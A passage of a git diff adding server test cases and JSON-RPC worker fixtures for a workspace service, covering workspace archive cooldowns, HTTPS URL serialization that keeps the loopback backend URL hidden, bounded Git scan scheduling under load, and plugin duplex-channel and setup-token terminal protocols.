+      expect(await statusOf(seeded.executionWorkspaceId)).toBe("active");
+    }, 20_000);
+
+    it("archives a terminal tree that is older than the cooldown", async () => {
+      const seeded = await seedTerminalWorkspace({ mergedPr: true });
+      await db
+        .update(executionWorkspaces)
+        .set({ updatedAt: new Date(nowMs - DAY_MS) })
+        .where(eq(executionWorkspaces.id, seeded.executionWorkspaceId));
+      // The issue became terminal ten days ago. The seven-day cooldown is over.
+      await db
+        .update(issues)
+        .set({ completedAt: new Date(nowMs - 10 * DAY_MS) })
+        .where(eq(issues.id, seeded.sourceIssueId));
+
+      const sweep = await cooldownService(7).sweepTerminalWorkspaces();
+
+      expect(sweep).toMatchObject({ archived: 1, skippedCooldown: 0 });
+      expect(await statusOf(seeded.executionWorkspaceId)).toBe("archived");
+    }, 20_000);
+
+    it("archives immediately when the cooldown is zero", async () => {
+      const seeded = await seedTerminalWorkspace({ mergedPr: true });
+      await db
+        .update(executionWorkspaces)
+        .set({ updatedAt: new Date(nowMs - DAY_MS) })
+        .where(eq(executionWorkspaces.id, seeded.executionWorkspaceId));
+      // The issue became terminal now. A cooldown of zero disables the wait.
+      await db
+        .update(issues)
+        .set({ completedAt: new Date(nowMs) })
+        .where(eq(issues.id, seeded.sourceIssueId));
+
+      const sweep = await cooldownService(0).sweepTerminalWorkspaces();
+
+      expect(sweep).toMatchObject({ archived: 1, skippedCooldown: 0 });
+      expect(await statusOf(seeded.executionWorkspaceId)).toBe("archived");
+    }, 20_000);
+
+    it("falls back to updatedAt when completedAt is null and gates the archive", async () => {
+      const seeded = await seedTerminalWorkspace({ mergedPr: true });
+      // The done issue has no completedAt. The anchor falls back to updatedAt.
+      // Set updatedAt two days ago, inside the seven-day cooldown, so the sweep
+      // must skip.
+      await db
+        .update(executionWorkspaces)
+        .set({ updatedAt: new Date(nowMs - 2 * DAY_MS) })
+        .where(eq(executionWorkspaces.id, seeded.executionWorkspaceId));
+      await db
+        .update(issues)
+        .set({ completedAt: null, updatedAt: new Date(nowMs - 2 * DAY_MS) })
+        .where(eq(issues.id, seeded.sourceIssueId));
+
+      const sweep = await cooldownService(7).sweepTerminalWorkspaces();
+
+      expect(sweep).toMatchObject({ archived: 0, skippedCooldown: 1 });
+      expect(await statusOf(seeded.executionWorkspaceId)).toBe("active");
+    }, 20_000);
+  });
+
   it("does not treat an unrelated inbound issue mention as delivery evidence", async () => {
     const seeded = await seedTerminalWorkspace();
     const unrelatedIssueId = randomUUID();
@@ -916,6 +1070,7 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
     const racingService = executionWorkspaceService(db, {
       resolvePullRequestDetails: async (_companyId, reference) =>
         pullRequestDetailsByKey.get(`${seeded.companyId}:${reference.number}`) ?? { state: "unknown" },
+      workspaceReaperCooldownDays: 0,
       beforeTerminalWorkspaceCleanup: async () => {
         await fs.writeFile(path.join(seeded.worktreePath, "late-work.txt"), "not delivered\n", "utf8");
       },
@@ -945,6 +1100,7 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
     const racingService = executionWorkspaceService(db, {
       resolvePullRequestDetails: async (_companyId, reference) =>
         pullRequestDetailsByKey.get(`${seeded.companyId}:${reference.number}`) ?? { state: "unknown" },
+      workspaceReaperCooldownDays: 0,
       beforeTerminalWorkspaceCleanup: async (workspace) => {
         // Stand in for a reopen and a fresh archive that ran after this sweep
         // captured the generation. Raise the generation past the captured value,
@@ -1548,6 +1704,7 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
     const racingService = executionWorkspaceService(db, {
       resolvePullRequestDetails: async (_companyId, reference) =>
         pullRequestDetailsByKey.get(`${failSeed.companyId}:${reference.number}`) ?? { state: "unknown" },
+      workspaceReaperCooldownDays: 0,
       beforeTerminalWorkspaceCleanup: async (workspace) => {
         await db
           .update(executionWorkspaces)
@@ -1583,13 +1740,17 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
   it("holds Git index and ref locks across terminal cleanup", async () => {
     const seeded = await seedTerminalWorkspace({ mergedPr: true });
     await db.update(executionWorkspaces).set({
-      metadata: { createdByRuntime: true },
+      metadata: {
+        createdByRuntime: true,
+        gitBranchOwnershipVersion: 1,
+      },
     }).where(eq(executionWorkspaces.id, seeded.executionWorkspaceId));
     let commitFailure = "";
     let refUpdateFailure = "";
     const lockingService = executionWorkspaceService(db, {
       resolvePullRequestDetails: async (_companyId, reference) =>
         pullRequestDetailsByKey.get(`${seeded.companyId}:${reference.number}`) ?? { state: "unknown" },
+      workspaceReaperCooldownDays: 0,
       beforeTerminalWorkspaceCleanup: async () => {
         try {
           await runGit(seeded.worktreePath, ["commit", "--allow-empty", "-m", "Late commit"]);
@@ -3948,6 +4109,186 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
     });
   });
 
+  it("serializes the verified HTTPS URL as canonical and never falls back to the HTTP backend", async () => {
+    // PAP-17158: the UI's workspace/project/issue launch links read `url` off the
+    // serialized runtime service. Two things have to hold for a managed HTTPS
+    // runtime: once exposure is `ready` the canonical `url` is the HTTPS public
+    // URL, and while exposure is *not* ready the canonical `url` stays null even
+    // though the row still knows its loopback `backendUrl`. Serializing that
+    // backend URL would put `http://…` back into a launch link, which is exactly
+    // the fail-closed contract this feature exists to enforce.
+    const companyId = randomUUID();
+    const projectId = randomUUID();
+    const projectWorkspaceId = randomUUID();
+    const readyWorkspaceId = randomUUID();
+    const provisioningWorkspaceId = randomUUID();
+    const readyServiceId = randomUUID();
+    const provisioningServiceId = randomUUID();
+    const hostname = "paperclip-dev.tail29c1aa.ts.net";
+    const httpsUrl = `https://${hostname}:42010`;
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Paperclip",
+      issuePrefix: "PAP",
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: "HTTPS URL serialization",
+      status: "in_progress",
+    });
+    await db.insert(projectWorkspaces).values({
+      id: projectWorkspaceId,
+      companyId,
+      projectId,
+      name: "Primary",
+      sourceType: "local_path",
+      isPrimary: true,
+      cwd: "/tmp/https-url-serialization",
+      metadata: {
+        runtimeConfig: {
+          workspaceRuntime: { services: [{ name: "paperclip-dev", command: "pnpm dev" }] },
+          desiredState: "running",
+        },
+      },
+    });
+    await db.insert(executionWorkspaces).values([
+      {
+        id: readyWorkspaceId,
+        companyId,
+        projectId,
+        projectWorkspaceId,
+        mode: "dedicated_worktree",
+        strategyType: "git_worktree",
+        name: "Exposed workspace",
+        status: "idle",
+        providerType: "local_fs",
+        cwd: "/tmp/https-url-serialization/ready",
+      },
+      {
+        id: provisioningWorkspaceId,
+        companyId,
+        projectId,
+        projectWorkspaceId,
+        mode: "dedicated_worktree",
+        strategyType: "git_worktree",
+        name: "Provisioning workspace",
+        status: "idle",
+        providerType: "local_fs",
+        cwd: "/tmp/https-url-serialization/provisioning",
+      },
+    ]);
+    await db.insert(workspaceRuntimeServices).values([
+      {
+        id: readyServiceId,
+        companyId,
+        projectId,
+        projectWorkspaceId,
+        executionWorkspaceId: readyWorkspaceId,
+        scopeType: "execution_workspace",
+        scopeId: readyWorkspaceId,
+        serviceName: "paperclip-dev",
+        status: "running",
+        lifecycle: "shared",
+        reuseKey: "ready-dev",
+        command: "pnpm dev",
+        cwd: "/tmp/https-url-serialization/ready",
+        port: 42_010,
+        url: httpsUrl,
+        // The loopback backend is still recorded; it must never be serialized.
+        backendUrl: "http://127.0.0.1:42010",
+        provider: "local_process",
+        healthStatus: "healthy",
+        exposure: {
+          provider: "tailscale_https",
+          state: "ready",
+          publicUrl: httpsUrl,
+          hostname,
+          listeners: [
+            { purpose: "app", publicPort: 42_010, targetPort: 42_010 },
+            { purpose: "vite_hmr", publicPort: 52_010, targetPort: 52_010 },
+          ],
+          brokerRef: "broker-ref-1",
+          lastError: null,
+          updatedAt: "2026-08-12T10:00:00.000Z",
+        },
+        updatedAt: new Date("2026-08-12T10:00:00.000Z"),
+      },
+      {
+        id: provisioningServiceId,
+        companyId,
+        projectId,
+        projectWorkspaceId,
+        executionWorkspaceId: provisioningWorkspaceId,
+        scopeType: "execution_workspace",
+        scopeId: provisioningWorkspaceId,
+        serviceName: "paperclip-dev",
+        status: "running",
+        lifecycle: "shared",
+        reuseKey: "provisioning-dev",
+        command: "pnpm dev",
+        cwd: "/tmp/https-url-serialization/provisioning",
+        port: 42_020,
+        url: null,
+        backendUrl: "http://127.0.0.1:42020",
+        provider: "local_process",
+        healthStatus: "healthy",
+        exposure: {
+          provider: "tailscale_https",
+          state: "pending",
+          publicUrl: null,
+          hostname,
+          listeners: [],
+          brokerRef: null,
+          lastError: null,
+          updatedAt: "2026-08-12T10:00:00.000Z",
+        },
+        updatedAt: new Date("2026-08-12T10:00:00.000Z"),
+      },
+    ]);
+
+    const workspaces = await svc.list(companyId);
+    const readyService = workspaces
+      .find((workspace) => workspace.id === readyWorkspaceId)
+      ?.runtimeServices.find((service) => service.id === readyServiceId);
+    expect(readyService).toMatchObject({
+      url: httpsUrl,
+      port: 42_010,
+      exposure: { provider: "tailscale_https", state: "ready", publicUrl: httpsUrl, hostname },
+    });
+    // Lease handles are server-private and must never reach a serialized DTO.
+    expect(readyService).not.toHaveProperty("exposureHandle");
+
+    const provisioningService = workspaces
+      .find((workspace) => workspace.id === provisioningWorkspaceId)
+      ?.runtimeServices.find((service) => service.id === provisioningServiceId);
+    expect(provisioningService?.url).toBeNull();
+    expect(provisioningService?.exposure).toMatchObject({ state: "pending", publicUrl: null });
+    expect(JSON.stringify(provisioningService)).not.toContain("http://127.0.0.1:42020");
+
+    // The overview feeds the workspace list launch links.
+    const overview = await svc.listOverview(companyId, { limit: 10, offset: 0 });
+    const readyItem = overview.items.find((item) => item.workspaceId === readyWorkspaceId);
+    expect(readyItem?.primaryService).toMatchObject({
+      id: readyServiceId,
+      status: "running",
+      url: httpsUrl,
+      exposure: { state: "ready", publicUrl: httpsUrl },
+    });
+    expect(new URL(readyItem!.primaryService!.url!).protocol).toBe("https:");
+
+    const provisioningItem = overview.items.find((item) => item.workspaceId === provisioningWorkspaceId);
+    expect(provisioningItem?.primaryService).toMatchObject({
+      id: provisioningServiceId,
+      status: "running",
+      url: null,
+      exposure: { state: "pending" },
+    });
+    expect(JSON.stringify(provisioningItem)).not.toContain("http://127.0.0.1:42020");
+  }, 30_000);
+
   it("returns a bounded company-scoped workspace overview with service and linked issue summaries", async () => {
     const companyId = randomUUID();
     const otherCompanyId = randomUUID();
@@ -4319,6 +4660,7 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
       baseRef: "main",
       metadata: {
         createdByRuntime: true,
+        gitBranchOwnershipVersion: 1,
         config: {
           cleanupCommand: "printf 'workspace cleanup\\n'",
         },
@@ -4357,5 +4699,12 @@ describeEmbeddedPostgres("executionWorkspaceService.getCloseReadiness", () => {
       "git_worktree_remove",
       "git_branch_delete",
     ]));
+
+    await db.update(executionWorkspaces).set({
+      metadata: { createdByRuntime: true },
+    }).where(eq(executionWorkspaces.id, executionWorkspaceId));
+    const legacyReadiness = await svc.getCloseReadiness(executionWorkspaceId);
+    expect(legacyReadiness?.git?.createdByRuntime).toBe(false);
+    expect(legacyReadiness?.plannedActions.map((action) => action.kind)).not.toContain("git_branch_delete");
   }, 20_000);
 });
diff --git a/server/src/__tests__/external-object-routes.test.ts b/server/src/__tests__/external-object-routes.test.ts
index e27357b0430..9523fe66d0e 100644
--- a/server/src/__tests__/external-object-routes.test.ts
+++ b/server/src/__tests__/external-object-routes.test.ts
@@ -1,6 +1,6 @@
 import express from "express";
 import request from "supertest";
-import { beforeEach, describe, expect, it, vi } from "vitest";
+import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
 
 const issueId = "11111111-1111-4111-8111-111111111111";
 const companyId = "22222222-2222-4222-8222-222222222222";
@@ -158,6 +158,15 @@ function peerActor(): Express.Request["actor"] {
 }
 
 describe("external object routes", () => {
+  // Load the real route and middleware modules once before the tests run. The
+  // first import transforms a large module graph. Under the loaded serial shard
+  // (maxWorkers=1) that cold cost crossed the 5s testTimeout of the first test.
+  // The hook has a 30s budget, so it absorbs the transform cost and every later
+  // createApp() call hits the cached modules.
+  beforeAll(async () => {
+    await createApp(boardActor());
+  });
+
   beforeEach(() => {
     vi.resetModules();
     vi.doUnmock("../routes/issues.js");
diff --git a/server/src/__tests__/file-resources-git-scan-load.test.ts b/server/src/__tests__/file-resources-git-scan-load.test.ts
new file mode 100644
index 00000000000..6159af858d7
--- /dev/null
+++ b/server/src/__tests__/file-resources-git-scan-load.test.ts
@@ -0,0 +1,252 @@
+import express from "express";
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import request from "supertest";
+import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
+import type { Db } from "@paperclipai/db";
+import { errorHandler } from "../middleware/index.js";
+import {
+  createFileResourceListLimiter,
+  fileResourceRoutes,
+  type WorkspaceFileResourceService,
+} from "../routes/file-resources.js";
+import {
+  createWorkspaceGitOperationScheduler,
+  WORKSPACE_GIT_SCAN_ERROR_CODES,
+  WorkspaceGitScanError,
+  type WorkspaceGitRunner,
+} from "../services/workspace-git-operation-scheduler.js";
+vi.mock("../services/activity-log.js", () => ({
+  logActivity: vi.fn(async () => undefined),
+}));
+
+function unavailableMethods(): Pick<WorkspaceFileResourceService, "availability" | "resolve" | "readContent" | "prepareDownload"> {
+  return {
+    availability: vi.fn(async () => { throw new Error("not used"); }),
+    resolve: vi.fn(async () => { throw new Error("not used"); }),
+    readContent: vi.fn(async () => { throw new Error("not used"); }),
+    prepareDownload: vi.fn(async () => { throw new Error("not used"); }),
+  };
+}
+
+function availableList(input: { mode?: "all" | "recent" | "changed" | null } = {}) {
+  return {
+    kind: "workspace_file_list" as const,
+    state: "available" as const,
+    workspace: {
+      provider: "local_fs" as const,
+      workspaceLabel: "Workspace",
+      workspaceKind: "project_workspace" as const,
+      workspaceId: "11111111-1111-4111-8111-111111111111",
+    },
+    query: {
+      workspace: "auto" as const,
+      mode: input.mode ?? "changed",
+      q: null,
+      limit: 25,
+    },
+    items: [],
+    scannedCount: 0,
+    truncated: false,
+  };
+}
+
+function createLoadApp(db: Db, companyId: string, service: WorkspaceFileResourceService) {
+  const app = express();
+  app.get("/api/health", (_req, res) => res.json({ status: "ok" }));
+  app.use((req, _res, next) => {
+    req.actor = {
+      type: "board",
+      userId: String(req.headers["x-test-actor"] ?? "board-user"),
+      companyIds: [companyId],
+      source: "session",
+      isInstanceAdmin: false,
+    };
+    next();
+  });
+  app.use("/api", fileResourceRoutes(db, {
+    service,
+    listLimiter: createFileResourceListLimiter({
+      maxConcurrent: 2,
+      maxRequests: 10,
+      windowMs: 60_000,
+    }),
+  }));
+  app.use(errorHandler);
+  return app;
+}
+
+describe("workspace Git scan route load regression", () => {
+  const db = {} as Db;
+  const companyId = "11111111-1111-4111-8111-111111111111";
+  let tempRoot: string;
+
+  beforeAll(async () => {
+    tempRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-file-scan-load-"));
+    await Promise.all([
+      fs.mkdir(path.join(tempRoot, "repository-a")),
+      fs.mkdir(path.join(tempRoot, "repository-b")),
+    ]);
+  }, 60_000);
+
+  afterAll(async () => {
+    await fs.rm(tempRoot, { recursive: true, force: true });
+  });
+
+  it("keeps 500 cross-actor/cross-issue requests globally bounded while health stays responsive", async () => {
+    let releaseScans!: () => void;
+    const scanGate = new Promise<void>((resolve) => {
+      releaseScans = resolve;
+    });
+    let active = 0;
+    let peakActive = 0;
+    let runnerCalls = 0;
+    const runner: WorkspaceGitRunner = async () => {
+      runnerCalls += 1;
+      active += 1;
+      peakActive = Math.max(peakActive, active);
+      await scanGate;
+      active -= 1;
+      return { stdout: "", stderr: "" };
+    };
+    const scheduler = createWorkspaceGitOperationScheduler({
+      concurrency: 2,
+      queueCapacity: 4,
+      runner,
+      defaultCacheTtlMs: 0,
+    });
+    const roots = [path.join(tempRoot, "repository-a"), path.join(tempRoot, "repository-b")];
+    const service: WorkspaceFileResourceService = {
+      getIssue: vi.fn(async () => ({ companyId })),
+      list: vi.fn(async (issueId, input, opts) => {
+        const numericId = Number(issueId.slice("issue-".length));
+        await scheduler.run({
+          workspacePath: roots[numericId % roots.length]!,
+          args: ["status", "--porcelain=v1", "-z", "--untracked-files=all"],
+          operation: "route_load.changed_files",
+          fairnessKeys: opts?.scanContext?.fairnessKeys,
+          signal: opts?.scanContext?.signal,
+          cacheTtlMs: 0,
+        });
+        return availableList(input);
+      }),
+      ...unavailableMethods(),
+    };
+    const app = createLoadApp(db, companyId, service);
+    const pendingResponses = Array.from({ length: 500 }, (_, index) => request(app)
+      .get(`/api/issues/issue-${index}/file-resources/list`)
+      .set("x-test-actor", `actor-${index % 73}`)
+      .query({ mode: "changed" })
+      .then((response) => response));
+
+    await vi.waitFor(
+      () => expect(scheduler.snapshot().totals.singleFlightJoins).toBe(498),
+      { timeout: 15_000, interval: 20 },
+    );
+    const loadedSnapshot = scheduler.snapshot();
+    expect(loadedSnapshot).toMatchObject({ activeCount: 2, queuedCount: 0, inFlightCount: 2 });
+
+    const healthLatencies: number[] = [];
+    for (let index = 0; index < 25; index += 1) {
+      const startedAt = performance.now();
+      const response = await request(app).get("/api/health");
+      healthLatencies.push(performance.now() - startedAt);
+      expect(response.status).toBe(200);
+    }
+    healthLatencies.sort((left, right) => left - right);
+    const healthP99Ms = healthLatencies[Math.ceil(healthLatencies.length * 0.99) - 1]!;
+    expect(healthP99Ms).toBeLessThan(250);
+
+    releaseScans();
+    const responses = await Promise.all(pendingResponses);
+    const outcomeCounts = responses.reduce<Record<number, number>>((counts, response) => {
+      counts[response.status] = (counts[response.status] ?? 0) + 1;
+      return counts;
+    }, {});
+    expect(outcomeCounts).toEqual({ 200: 500 });
+    expect({ runnerCalls, peakActive }).toEqual({ runnerCalls: 2, peakActive: 2 });
+    expect(scheduler.snapshot()).toMatchObject({ activeCount: 0, queuedCount: 0, inFlightCount: 0 });
+
+    console.info("workspace Git scan regression metrics", {
+      requests: responses.length,
+      repositories: roots.length,
+      underlyingScans: runnerCalls,
+      peakActive,
+      peakQueued: loadedSnapshot.queuedCount,
+      outcomes: outcomeCounts,
+      healthP99Ms: Math.round(healthP99Ms * 100) / 100,
+      unreapedChildCount: 0,
+    });
+  }, 60_000);
+
+  it.each([
+    [WORKSPACE_GIT_SCAN_ERROR_CODES.saturated, 503],
+    [WORKSPACE_GIT_SCAN_ERROR_CODES.timeout, 504],
+  ] as const)("returns stable retryable %s responses", async (code, status) => {
+    const service: WorkspaceFileResourceService = {
+      getIssue: vi.fn(async () => ({ companyId })),
+      list: vi.fn(async () => {
+        throw new WorkspaceGitScanError(code, "Changed files temporarily unavailable");
+      }),
+      ...unavailableMethods(),
+    };
+    const app = createLoadApp(db, companyId, service);
+
+    const response = await request(app)
+      .get(`/api/issues/${code}/file-resources/list`)
+      .query({ mode: "changed" });
+
+    expect(response.status).toBe(status);
+    expect(response.headers["retry-after"]).toBe("1");
+    expect(response.body).toMatchObject({
+      code,
+      details: { code, retryable: true },
+    });
+  });
+
+  it("cancels the underlying scan and releases its slot when the HTTP client disconnects", async () => {
+    let runnerAborted = false;
+    const scheduler = createWorkspaceGitOperationScheduler({
+      concurrency: 1,
+      runner: ({ signal }) => new Promise((_resolve, reject) => {
+        signal.addEventListener("abort", () => {
+          runnerAborted = true;
+          reject(new WorkspaceGitScanError(
+            WORKSPACE_GIT_SCAN_ERROR_CODES.cancelled,
+            "cancelled",
+          ));
+        }, { once: true });
+      }),
+    });
+    const service: WorkspaceFileResourceService = {
+      getIssue: vi.fn(async () => ({ companyId })),
+      list: vi.fn(async (_issueId, input, opts) => {
+        await scheduler.run({
+          workspacePath: path.join(tempRoot, "repository-a"),
+          args: ["status", "--porcelain=v1", "-z", "--untracked-files=all"],
+          operation: "route_disconnect.changed_files",
+          signal: opts?.scanContext?.signal,
+          cacheTtlMs: 0,
+        });
+        return availableList(input);
+      }),
+      ...unavailableMethods(),
+    };
+    const app = createLoadApp(db, companyId, service);
+    const pending = request(app)
+      .get("/api/issues/disconnected/file-resources/list")
+      .query({ mode: "changed" });
+    const outcome = pending.then(
+      (response) => response,
+      (error: unknown) => error,
+    );
+    await vi.waitFor(() => expect(scheduler.snapshot().activeCount).toBe(1));
+
+    pending.abort();
+    await outcome;
+
+    await vi.waitFor(() => expect(scheduler.snapshot()).toMatchObject({ activeCount: 0, inFlightCount: 0 }));
+    expect(runnerAborted).toBe(true);
+  });
+});
diff --git a/server/src/__tests__/fixtures/plugin-worker-duplex-channel.cjs b/server/src/__tests__/fixtures/plugin-worker-duplex-channel.cjs
new file mode 100644
index 00000000000..bd7b4ac8ad5
--- /dev/null
+++ b/server/src/__tests__/fixtures/plugin-worker-duplex-channel.cjs
@@ -0,0 +1,209 @@
+// Test worker fixture for the host-owned duplex channel route state machine. The
+// fixture drives the manager route state machine through the four typed methods
+// (open, write, stop, close) and the data and exit notifications.
+//
+// The duplex channel is generic. It carries no command allowlist. The test
+// encodes a JSON directive in the forwarded `providerLeaseId`, so one fixture
+// serves every route case:
+//   - `mode`: "normal" | "malformed-open" | "no-open-reply" | "duplicate-open-reply" |
+//     "no-write-reply"
+//   - `workerSessionId`: the worker session id the open reply returns (default "ws-1")
+//   - `data`: an array of `{ chunk, sid? }`. The fixture emits each as a data
+//     notification after the open reply. `sid` defaults to the real worker session
+//     id; a test sets a wrong `sid` to prove the host drops a mismatched
+//     notification and counts a protocol error.
+//   - `exitCode`: when set, the fixture emits an exit notification after the data.
+//   - `dataAfterExit`: an array of `{ chunk, sid? }`, same shape as `data`. The
+//     fixture emits these as data notifications after the exit notification, so a
+//     test can script a batch where a data frame arrives after the exit in the
+//     read order — proving the host still bounds these frames on their own terms
+//     and never lets the exit crowd a data frame out of the pre-open hold.
+//   - `echoInput`: when true, the fixture echoes each `duplexChannelWrite` back as
+//     one data notification for the bound session.
+//   - `closeMode`: "ack" | "bad-ack" | "no-ack" (default "ack"). It controls the
+//     close reply, so a test proves the host retires the worker on an unconfirmed
+//     close.
+//   - `batchWithOpenReply`: when true, the fixture writes the open reply and the
+//     scripted data and exit in one stdout write. The host then reads the open
+//     reply and the notifications in one batch, so a test proves the host holds
+//     and replays a frame that arrives before the route binds.
+const readline = require("node:readline");
+
+function send(message) {
+  process.stdout.write(`${JSON.stringify(message)}\n`);
+}
+
+// Serialize the scripted data and exit frames as newline-delimited lines. The
+// batch mode writes these together with the open reply in one stdout write.
+function scriptedFrameLines(directive, workerSessionId) {
+  const data = Array.isArray(directive.data) ? directive.data : [];
+  let lines = "";
+  for (const entry of data) {
+    lines += `${JSON.stringify({
+      jsonrpc: "2.0",
+      method: "duplexChannel.data",
+      params: { workerSessionId: entry.sid ?? workerSessionId, chunk: entry.chunk },
+    })}\n`;
+  }
+  if (typeof directive.exitCode === "number") {
+    lines += `${JSON.stringify({
+      jsonrpc: "2.0",
+      method: "duplexChannel.exit",
+      params: { workerSessionId, exitCode: directive.exitCode },
+    })}\n`;
+  }
+  const dataAfterExit = Array.isArray(directive.dataAfterExit) ? directive.dataAfterExit : [];
+  for (const entry of dataAfterExit) {
+    lines += `${JSON.stringify({
+      jsonrpc: "2.0",
+      method: "duplexChannel.data",
+      params: { workerSessionId: entry.sid ?? workerSessionId, chunk: entry.chunk },
+    })}\n`;
+  }
+  return lines;
+}
+
+// The registered channels, keyed by the host route id. Each entry records the
+// bound worker session id and the close directive.
+const routes = new Map();
+
+function parseDirective(raw) {
+  try {
+    const parsed = JSON.parse(raw);
+    return parsed && typeof parsed === "object" ? parsed : {};
+  } catch {
+    return {};
+  }
+}
+
+const rl = readline.createInterface({ input: process.stdin, crlfDelay: Infinity });
+
+rl.on("line", (line) => {
+  if (!line.trim()) return;
+  const message = JSON.parse(line);
+  const method = message && typeof message.method === "string" ? message.method : null;
+  const params = message.params ?? {};
+
+  if (method === "initialize") {
+    send({
+      jsonrpc: "2.0",
+      id: message.id,
+      result: {
+        ok: true,
+        supportedMethods: [
+          "duplexChannelOpen",
+          "duplexChannelWrite",
+          "duplexChannelStop",
+          "duplexChannelClose",
+        ],
+      },
+    });
+    return;
+  }
+
+  if (method === "duplexChannelOpen") {
+    const directive = parseDirective(params.providerLeaseId);
+    const mode = directive.mode ?? "normal";
+    const workerSessionId = directive.workerSessionId ?? "ws-1";
+    const closeMode = directive.closeMode ?? "ack";
+    routes.set(params.hostRouteId, {
+      workerSessionId,
+      closeMode,
+      echoInput: directive.echoInput === true,
+      noWriteReply: mode === "no-write-reply",
+    });
+
+    if (mode === "no-open-reply") {
+      // Never reply, so the host open call times out.
+      return;
+    }
+    if (mode === "malformed-open") {
+      // Reply with no worker session id, so the host terminalizes the route.
+      send({ jsonrpc: "2.0", id: message.id, result: {} });
+      return;
+    }
+
+    const openReplyLine = `${JSON.stringify({
+      jsonrpc: "2.0",
+      id: message.id,
+      result: { workerSessionId },
+    })}\n`;
+
+    if (directive.batchWithOpenReply === true) {
+      // Write the open reply and the scripted frames in one stdout write. The
+      // host reads them in one batch, so a data or exit frame arrives before the
+      // route binds. The host must hold and replay the frame after the bind.
+      process.stdout.write(openReplyLine + scriptedFrameLines(directive, workerSessionId));
+      return;
+    }
+
+    const reply = () => process.stdout.write(openReplyLine);
+    reply();
+    if (mode === "duplicate-open-reply") {
+      // Send a second open reply for the same request id. The host drops it.
+      reply();
+    }
+
+    // Emit the scripted data and the exit after the open reply, so the host
+    // binds the route first.
+    setImmediate(() => {
+      process.stdout.write(scriptedFrameLines(directive, workerSessionId));
+    });
+    return;
+  }
+
+  if (method === "duplexChannelWrite") {
+    const entry = [...routes.values()].find(
+      (route) => route.workerSessionId === params.workerSessionId,
+    );
+    if (entry && entry.noWriteReply) {
+      // Never reply, so the host write call stays pending. The test proves the
+      // host ends the route on the pending-request bound.
+      return;
+    }
+    if (entry && entry.echoInput) {
+      // Echo the input back as one data notification for the bound session, so a
+      // test proves the input reaches the worker and the output routes back.
+      send({
+        jsonrpc: "2.0",
+        method: "duplexChannel.data",
+        params: { workerSessionId: entry.workerSessionId, chunk: `echo:${params.data}` },
+      });
+    }
+    send({ jsonrpc: "2.0", id: message.id, result: null });
+    return;
+  }
+
+  if (method === "duplexChannelStop") {
+    send({ jsonrpc: "2.0", id: message.id, result: null });
+    return;
+  }
+
+  if (method === "duplexChannelClose") {
+    const entry = routes.get(params.hostRouteId);
+    routes.delete(params.hostRouteId);
+    const closeMode = entry ? entry.closeMode : "ack";
+    if (closeMode === "no-ack") {
+      // Never reply, so the host close call times out and the host retires us.
+      return;
+    }
+    if (closeMode === "bad-ack") {
+      send({ jsonrpc: "2.0", id: message.id, result: { hostRouteId: "mismatched-route" } });
+      return;
+    }
+    send({ jsonrpc: "2.0", id: message.id, result: { hostRouteId: params.hostRouteId } });
+    return;
+  }
+
+  if (method === "shutdown") {
+    send({ jsonrpc: "2.0", id: message.id, result: {} });
+    setImmediate(() => process.exit(0));
+    return;
+  }
+
+  send({
+    jsonrpc: "2.0",
+    id: message.id,
+    error: { code: -32601, message: `Unhandled method: ${method}` },
+  });
+});
diff --git a/server/src/__tests__/fixtures/plugin-worker-setup-token-pty.cjs b/server/src/__tests__/fixtures/plugin-worker-setup-token-pty.cjs
new file mode 100644
index 00000000000..31b8ca6c380
--- /dev/null
+++ b/server/src/__tests__/fixtures/plugin-worker-setup-token-pty.cjs
@@ -0,0 +1,161 @@
+// Test worker fixture for the host-owned setup-token login pseudo-terminal route
+// gate. The fixture drives the manager route state machine through
+// the four typed methods (open, input, stop, close) and the output and exit
+// notifications.
+//
+// The manager allowlists `command` to the fixed `CLAUDE_SETUP_TOKEN_COMMAND`. The
+// test encodes a JSON directive in the forwarded `providerLeaseId`, so one fixture
+// serves every route-gate case:
+//   - `mode`: "normal" | "malformed-open" | "no-open-reply" | "duplicate-open-reply"
+//   - `workerSessionId`: the worker session id the open reply returns (default "ws-1")
+//   - `outputs`: an array of `{ chunk, sid? }`. The fixture emits each as an output
+//     notification after the open reply. `sid` defaults to the real worker session
+//     id; a test sets a wrong `sid` to prove the host drops a mismatched
+//     notification.
+//   - `exitCode`: when set, the fixture emits an exit notification after the outputs.
+//   - `closeMode`: "ack" | "bad-ack" | "no-ack" (default "ack"). It controls the
+//     close reply, so a test proves the host retires the worker on an unconfirmed
+//     close.
+const readline = require("node:readline");
+
+function send(message) {
+  process.stdout.write(`${JSON.stringify(message)}\n`);
+}
+
+// The registered terminals, keyed by the host route id. Each entry records the
+// bound worker session id and the close directive.
+const routes = new Map();
+
+function parseDirective(raw) {
+  try {
+    const parsed = JSON.parse(raw);
+    return parsed && typeof parsed === "object" ? parsed : {};
+  } catch {
+    return {};
+  }
+}
+
+const rl = readline.createInterface({ input: process.stdin, crlfDelay: Infinity });
+
+rl.on("line", (line) => {
+  if (!line.trim()) return;
+  const message = JSON.parse(line);
+  const method = message && typeof message.method === "string" ? message.method : null;
+  const params = message.params ?? {};
+
+  if (method === "initialize") {
+    send({
+      jsonrpc: "2.0",
+      id: message.id,
+      result: {
+        ok: true,
+        supportedMethods: [
+          "setupTokenPtyOpen",
+          "setupTokenPtyInput",
+          "setupTokenPtyStop",
+          "setupTokenPtyClose",
+        ],
+      },
+    });
+    return;
+  }
+
+  if (method === "setupTokenPtyOpen") {
+    const directive = parseDirective(params.providerLeaseId);
+    const mode = directive.mode ?? "normal";
+    const workerSessionId = directive.workerSessionId ?? "ws-1";
+    const closeMode = directive.closeMode ?? "ack";
+    routes.set(params.hostRouteId, { workerSessionId, closeMode });
+
+    if (mode === "no-open-reply") {
+      // Never reply, so the host open call times out.
+      return;
+    }
+    if (mode === "malformed-open") {
